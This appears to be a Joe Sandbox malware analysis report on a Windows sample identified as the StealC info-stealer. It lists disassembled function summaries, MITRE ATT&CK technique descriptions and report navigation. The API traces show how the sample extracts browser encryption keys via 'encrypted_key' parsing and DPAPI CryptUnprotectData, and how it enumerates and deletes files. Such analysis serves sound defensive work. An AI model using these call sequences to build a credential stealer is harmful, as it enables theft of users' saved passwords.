lstrlen.KERNEL32(00000000), ref: 0094D99F
lstrlen.KERNEL32(00000000), ref: 0094D9B3
DeleteFileA.KERNEL32(00000000), ref: 0094DA32

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 8b940297ec4e46b24da43576d8f2f23fa2874f9a6f4f2b1d2856c1f028906792
Instruction ID: c20ef73a9c86daacf69c7c1ed09864c9f00c483e3d36add7cf317908e96e8921
Opcode Fuzzy Hash: 8b940297ec4e46b24da43576d8f2f23fa2874f9a6f4f2b1d2856c1f028906792
Instruction Fuzzy Hash: 1681E0729101189ADB04FBA5DC96FEE7339BF94301F504619F907A70A1EF346A0DCB6A

Function 00953560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: c2a3ff3fb4317045784a6a8a3e949baac89919cff40fc52b3cc79677a475b820
Instruction ID: c1cfa15989f04bf4b8234a9d9e61ceba9167f9d22a6da72ed628857e044e629d
Opcode Fuzzy Hash: c2a3ff3fb4317045784a6a8a3e949baac89919cff40fc52b3cc79677a475b820
Instruction Fuzzy Hash: D6416271D10109EFCB04EFA5D886BEEB778BF94305F008518E91677290EB756A09CFA6

Function 00949CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 0095A740: lstrcpy.KERNEL32(00960E17,00000000), ref: 0095A788

Part of subcall function 009499C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 009499EC
Part of subcall function 009499C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00949A11
Part of subcall function 009499C0: LocalAlloc.KERNEL32(00000040,?), ref: 00949A31
Part of subcall function 009499C0: ReadFile.KERNEL32(000000FF,?,00000000,0094148F,00000000), ref: 00949A5A
Part of subcall function 009499C0: LocalFree.KERNEL32(0094148F), ref: 00949A90
Part of subcall function 009499C0: CloseHandle.KERNEL32(000000FF), ref: 00949A9A

Part of subcall function 00958E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00958E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00949D39

Part of subcall function 00949AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00944EEE,00000000,00000000), ref: 00949AEF
Part of subcall function 00949AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00944EEE,00000000,?), ref: 00949B01
Part of subcall function 00949AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00944EEE,00000000,00000000), ref: 00949B2A
Part of subcall function 00949AC0: LocalFree.KERNEL32(?,?,?,?,00944EEE,00000000,?), ref: 00949B3F

Part of subcall function 00949B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00949B84
Part of subcall function 00949B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00949BA3
Part of subcall function 00949B60: LocalFree.KERNEL32(?), ref: 00949BD3

Strings

"encrypted_key":", xrefs: 00949D30
, xrefs: 00949DC1
DPAPI, xrefs: 00949D89

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: c44f95aee179775a7bde4cfca11c64caf5048f8e06c5b76dbbcef2e4372801de
Instruction ID: 5ebecbc820f4ae19ecf5d413d6c2f58dc40c0173e95e763228be4ab1f95f0e46
Opcode Fuzzy Hash: c44f95aee179775a7bde4cfca11c64caf5048f8e06c5b76dbbcef2e4372801de
Instruction Fuzzy Hash: 963100B5D10109ABDF14DFE4DC85FEFB7B8AB88304F144519F915A7281EB349A04CBA5

Function 009592E0 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00953AEE,80000000,00000003,00000000,00000003,00000080,00000000,?,00953AEE,?), ref: 009592FC
GetFileSizeEx.KERNEL32(000000FF,00953AEE), ref: 00959319
CloseHandle.KERNEL32(000000FF), ref: 00959327

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: cc55fc2fdb5c2fcb0dbf9b9e48e74a14f64c4874e9a7b593f0ee3a523da157fb
Instruction ID: f3fd3e75f7db682c939d78838bc5606d51503f3f8ca8ff5e917ad590e0bb4881
Opcode Fuzzy Hash: cc55fc2fdb5c2fcb0dbf9b9e48e74a14f64c4874e9a7b593f0ee3a523da157fb
Instruction Fuzzy Hash: AFF08C38E00208FBEB10DBB1DC08B9E77B9EB48311F108654BA11A72D0DA749A00DB40

Function 0095C742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0095C74E

Part of subcall function 0095BF9F: __amsg_exit.LIBCMT ref: 0095BFAF

__getptd.LIBCMT ref: 0095C765
__amsg_exit.LIBCMT ref: 0095C773
__updatetlocinfoEx_nolock.LIBCMT ref: 0095C797

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: edc6832a2f14babed69f041fbe2e598602ceeca0c5f9940aeccb4259f880f6e5
Instruction ID: 37d7c7c5ab859e2058f87f829c535cd93ed0c76d70f3cf309fd985f1eda1eec9
Opcode Fuzzy Hash: edc6832a2f14babed69f041fbe2e598602ceeca0c5f9940aeccb4259f880f6e5
Instruction Fuzzy Hash: 71F0B4729047109FD720FBBA580774D33E06F84727F244149FC14F65D2DB6459889F56

Function 00954F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00958DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00958E0B

lstrcat.KERNEL32(?,00000000), ref: 00954F7A
lstrcat.KERNEL32(?,00961070), ref: 00954F97
lstrcat.KERNEL32(?,015E8AA0), ref: 00954FAB
lstrcat.KERNEL32(?,00961074), ref: 00954FBD

Part of subcall function 00954910: wsprintfA.USER32 ref: 0095492C
Part of subcall function 00954910: FindFirstFileA.KERNEL32(?,?), ref: 00954943

Part of subcall function 00954910: StrCmpCA.SHLWAPI(?,00960FDC), ref: 00954971
Part of subcall function 00954910: StrCmpCA.SHLWAPI(?,00960FE0), ref: 00954987
Part of subcall function 00954910: FindNextFileA.KERNEL32(000000FF,?), ref: 00954B7D
Part of subcall function 00954910: FindClose.KERNEL32(000000FF), ref: 00954B92

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 55e1df81d840072589af4a2ef86b5c596966a1adfef51d049b8d4dce88eb637a
Instruction ID: 8068874edc18d9f8546f14b2d10feee1c21f82ff732833ec41e5c7e824dc0242
Opcode Fuzzy Hash: 55e1df81d840072589af4a2ef86b5c596966a1adfef51d049b8d4dce88eb637a
Instruction Fuzzy Hash: 5B21A776900208A7DB54FBB0DC46FEE337CABD4701F004559BA5993191EE74AACDCBA2

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 00959860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 009445C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00944880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 00959C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00946280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 00955510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 009517A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 00957500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Function 009569F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 00956AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 009447B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 009551F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Function 00941220 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41
COMMON